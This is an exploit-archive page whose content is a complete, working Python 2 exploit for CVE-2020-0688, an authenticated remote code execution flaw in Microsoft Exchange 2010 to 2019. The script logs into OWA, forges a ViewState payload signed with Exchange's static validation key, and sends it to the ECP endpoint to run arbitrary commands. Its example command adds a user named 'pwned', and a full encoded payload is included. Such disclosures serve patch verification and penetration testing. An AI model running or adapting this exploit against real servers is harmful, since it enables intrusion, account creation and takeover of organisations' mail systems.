Microsoft Exchange 2019 version 15.2.221.12 suffers from an authenticated remote code execution vulnerability.

MD5 | b2b86272dc81d9cb5dc7d3f7fcf5da05

# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688

#! /usr/bin/env python
# -*- coding: utf-8 -*-
'''


Copyright 2020 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see .

File name CVE-2020-0688-Photubias.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net

Example Output:
CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number 15.2.221.12
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
'''
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass

## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')

def convertInt(iInput, length):
return struct.pack("<I" , int(iInput)).encode('hex')[:length]

def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
strPart1 = strSerTemplate.replace('###payload###', sCommand)
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
strLength1 = convertInt(0x06b8 + len(sCommand),4)
strLength2 = convertInt(0x04da + len(sCommand),4)
strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]

## PART2 of the payload to hash
strPart2 = '274e7bb9'
for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
strPart2 = binascii.unhexlify(strPart2)

strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
return strResult

def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if cookie.name == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
exit(1)
print('[+] Login worked')

## Verify Session ID
sSessionId = ''
sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()
for cookie in oCookjar:
if 'SessionId' in cookie.name: sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)

## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'favicon'
if 'favicon' in sVersion:
print('[*] Problem, this user has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
exit(1)
print('[+] Detected OWA version number '+sVersion)

## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
else:
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState

def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if args.target == '' or args.username == '' or args.command == '':
print('[!] Example usage: ')
print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')
else:
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
oCookjar = cookielib.CookieJar()
#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})
#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
print(' Sending now ...')
try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))
except urllib2.HTTPError, e:
if e.code == '500': print('[+] This probably worked (Error Code 500 received)')

if __name__ == "__main__":
main()

Source